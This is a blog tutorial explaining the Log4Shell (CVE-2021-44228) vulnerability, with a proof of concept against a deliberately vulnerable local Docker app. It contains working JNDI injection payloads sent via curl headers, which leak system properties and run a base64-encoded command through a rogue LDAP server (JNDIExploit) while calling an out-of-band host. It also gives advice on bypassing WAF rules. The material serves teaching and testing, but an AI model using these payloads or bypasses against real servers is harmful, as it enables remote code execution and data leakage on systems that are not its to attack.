Understanding Log4J and Log4Shell (CVE-2021-44228)

What is LOG4J

LOG4J is a pretty famous java based logging library. It is part of Apache’s logging services, which consists of a couple of interesting projects. All logs related.

Developers and Engineers have used this utility widely. It’s logging capabilities make it possible to log to console, file, database and email server integration among many more.

LOG4J also has different logging levels ranging from TRACE, DEBUG, INFO, WARN, ERROR, and FATAL.

Of all the Java logging frameworks, LOG4J has made the news in the security industry, and not in a positive way.

LOG4J Lookups

This is probably an innocent feature that is very useful but is what gave rise to the vulnerability to be discussed. LOG4J takes advantage of lookups in order to append values to different places within the log output. This can be found in the Apache documentation which i will use as reference.

Simple lookups include:

  • Context Map Lookup – for applications to store data in log4j ThreadContext map.
  • Docker Lookup – for information lookup from docker containers the context applications runs on. These may include the container name, container ID etc.
  • Date Lookup – specify format string for printing dates.
  • Environment Lookup – allows configuration of environment variables by the system.
  • Java Lookup – for java environment information e.g. OS and version
  • JNDI Lookup – allows for variable retrieval via JNDI (Java Naming and Directory Interface)
  • And a whole bunch of other lookups available in the documentation link.

Let’s look at an example of an environment lookup below.

The application grabs the name of the current logged in user and stores it in the application.log file.

The %m is the actual message and %n being the line termination.

JNDI

The JNDI is primarily an API in java that provides naming and directory functions. LOG4j uses JNDI to perform lookups in other services like LDAP, DNS and RMI.

From this, we can already sniff out a potential problem, remote lookups.

As it happens, LOG4J can use JNDI to perform lookups from configurations stored in a remote LDAP server. A malicious actor can use a rogue LDAP server to serve harmful payloads to the LOG4J server and give rise to a whole world of disaster.

And this is exactly what happened!

But wait. This was actually discovered 5 years ago (2016). Blackhat speakers Alvaro Munoz (@pwntester) and Oleksandr Mirosh gave a talk highlighting the journey of JNDI/LDAP manipulation to achieve Remote Code Execution. The attacks works the exact same way the LOG4J vulnerability does while manipulating LDAP requests.

The researchers had to see their work being actively ‘exploited’ 5 years later. Big up to you guys for this early discovery everyone ignored.

With everything explained, let’s look at the vulnerability that is CVE-2021-44228.

What is Log4shell?

On the 10th December 2021, Apache disclosed the critical buy caused by the LOG4J’s JNDI lookup. This was assigned CVE-2021-44228 and affected log4j versions 2.0-beta9 – 2.14.1 after which it was fixed in version 2.15.0. The issue was first discovered on November 2021 by Chen Zhaojun, a cloud security engineer at Alibaba.

The vulnerability abused the way JNDI lookups were done, leading to Remote Code Execution.

To everyone’s surprise, some heavy tech giants including twitter, Amazon, iCloud, Steam, Minecraft among others were affected.

Minecraft servers were heavily hit allowing users to take over minecraft servers. This screenshot by JohnHammond shows how he was able to get full RCE on a server.

Image via Twitter, John Hammond

For a good visual of the LOG4SHELL vulnerability, check out this tweet.

Where to Hunt?

We will be looking for:

  • A server with a vulnerable version of LOG4J.
  • An injection point for an attacker to send the exploit string.
  • Find any field that may be logged. These may be User-Agent, Referrer, Host, etc
  • Input fields like search boxes, fields like usernames that can be submitted as a form.

Attack surface

This github repo has a list of manufacturers and companies impacted.

A couple of potential technologies may be of interest:

  • Apache OFBiz
  • Apache Solr
  • Apache Struts2
  • Mobileiron
  • Tableau
  • VMware Horizon
  • VMware vCenter

Exploitation for a simple POC

After looking around, i found a vulnerable app that can be used to demonstrate this vulnerability. This is a Spring Boot web application.

Install the app using the commands below. (make sure docker is installed)

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

The app should be running now on the specified port 8080.

For our POC, we can capture DNS interactions using OOB techniques like burp collaborator or interactsh. I will use interact.sh since most writeups are using burp collaborator.

Install interactsh using the commands below. (make sure go is installed)

go install -v github.com/projectdiscovery/interactsh/cmd/[email protected]

Once installation is done just run the command below

interactsh-client

This should generate an OOB testing payload similar to the one below.

I then sent a couple of payloads to grab some details as below to print OS name, java version, OS version, and java vendor.

PS: Replace c72afus1tf3va830tvv0c8nkx9qwertn.interact.sh with your own.

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://${sys:os.name}.c72afus1tf3va830tvv0c8nkx9qwertn.interact.sh}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://${sys:java.version}.c72afus1tf3va830tvv0c8nkx9qwertn.interact.sh}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://${sys:user.home}.c72afus1tf3va830tvv0c8nkx9qwertn.interact.sh}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://${sys:os.version}.c72afus1tf3va830tvv0c8nkx9qwertn.interact.sh}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://${sys:java.vendor}.c72afus1tf3va830tvv0c8nkx9qwertn.interact.sh}'

The DNS interaction received.

WAF Bypass for some weak defense

Use different OOB services

From my research, i have noticed most people are adding a WAF rule blocking burpcollaborator.net requests. This is a bad move as its not actually fixing the problem. To bypass this, use different OOB services like interact.sh

To bypass the above filter, you can also deploy your own private collaborator instance as highlighted in the docs.

Bypassing words

This GitHub repo does a good job highlighting some good bypass using word(s) manipulation.

This GitHub repo also contains some awesome WAF bypasses that i have had success with.

Exploitation for Full RCE

For this, we will make a valid JNDI lookup to a valid LDAP server. Only that the server will be our own server with an exploit crafted to serve this purpose. A personal VPS is recommended, but for this test, a local instance will be used. Luckily, this exploit is available for download from here.

I set up an Ubuntu server 20.04 in a virtualized environment preferably VirtualBox, installed java and is now ready to go.

Updating the server

Install Apache server and java

sudo apt-get install apache2
sudo apt-get install default-jre
sudo service apache2 start

Download JNDIExploit using wget. URL can be obtained here

wget https://cdn-101.anonfiles.com/xd07G204v9/8f65bf29-1640332667/JNDIExploit.v1.2.zip (URL is dynamic)

Unzip the exploit

sudo apt-get install zip unzip
unzip JNDIExploit.v1.2.zip

Start your LDAP server listening on a sample port 8888

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [LDAP_SERVER_PUBLIC_IP] -p 8888

Setup is done on the LDAP server. We can now construct a payload to perform a JNDI lookup on our malicious server. Make sure your interactsh is ready to receive an interaction.

${jndi:ldap://LDAP_SERVER_PUBLIC_IP:1389/Basic/Command/Base64/SAMPLE_BASE64_ENCODED_COMMAND}

Base64 encode a command like whoami as shown below using the terminal.

echo "ping `whoami`.c72afus1tf3va830tvv0c8nkx9yyyyyyn.interact.sh" | base64
=======> cGluZyBiaW9uaWMuYzcyYWZ1czF0ZjN2YTgzMHR2djBjOG5reDl5eXl5eXluLmludGVyYWN0LnNoCg==

Final payload.

${jndi:ldap://192.168.1.13:1389/Basic/Command/Base64/cGluZyBiaW9uaWMuYzcyYWZ1czF0ZjN2YTgzMHR2djBjOG5reDl5eXl5eXluLmludGVyYWN0LnNoCg==}

Send this using curl as before.

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.13:1389/Basic/Command/Base64/cGluZyBiaW9uaWMuYzcyYWZ1czF0ZjN2YTgzMHR2djBjOG5reDl5eXl5eXluLmludGVyYWN0LnNoCg==}'

DNS interaction done. We can check on our interactsh console to confirm. This includes the result of the whois command.

Our LDAP server confirms this. Listener receives query.

Lets test using a different command ‘uname -a’.

Existing scanners

https://github.com/fullhunt/log4j-scan

https://github.com/adilsoybali/Log4j-RCE-Scanner

Mitigation

Apache released an update of the vulnerable LOG4J library. Version 2.15.0 to be specific. The fix from my understanding involved setting a message lookup (formatMsgNoLookups) string to TRUE.

However this was bypassed and still enabled the same RCE which was assigned CVE-2021-45046.

As it seems, the nightmare continues. I will write about this in my next blog post.

search previous next tag category expand menu location phone mail time cart zoom edit close